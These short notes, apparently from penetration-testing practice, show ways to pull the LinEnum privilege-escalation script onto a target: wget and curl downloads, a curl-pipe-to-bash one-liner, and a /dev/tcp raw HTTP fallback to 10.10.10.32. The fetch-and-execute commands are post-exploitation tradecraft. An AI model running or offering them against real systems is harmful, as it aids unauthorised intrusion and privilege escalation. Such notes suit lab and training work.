download it using wget
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
| |
| |
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
using pipes to directly execute it and not save it locally b4
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
If for securtiy reasons bot are disabled you can still use bash
Connect to the target webserver
exec 3<>/dev/tcp/10.10.10.32/80HTTP get request:
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3Print response:
cat <&3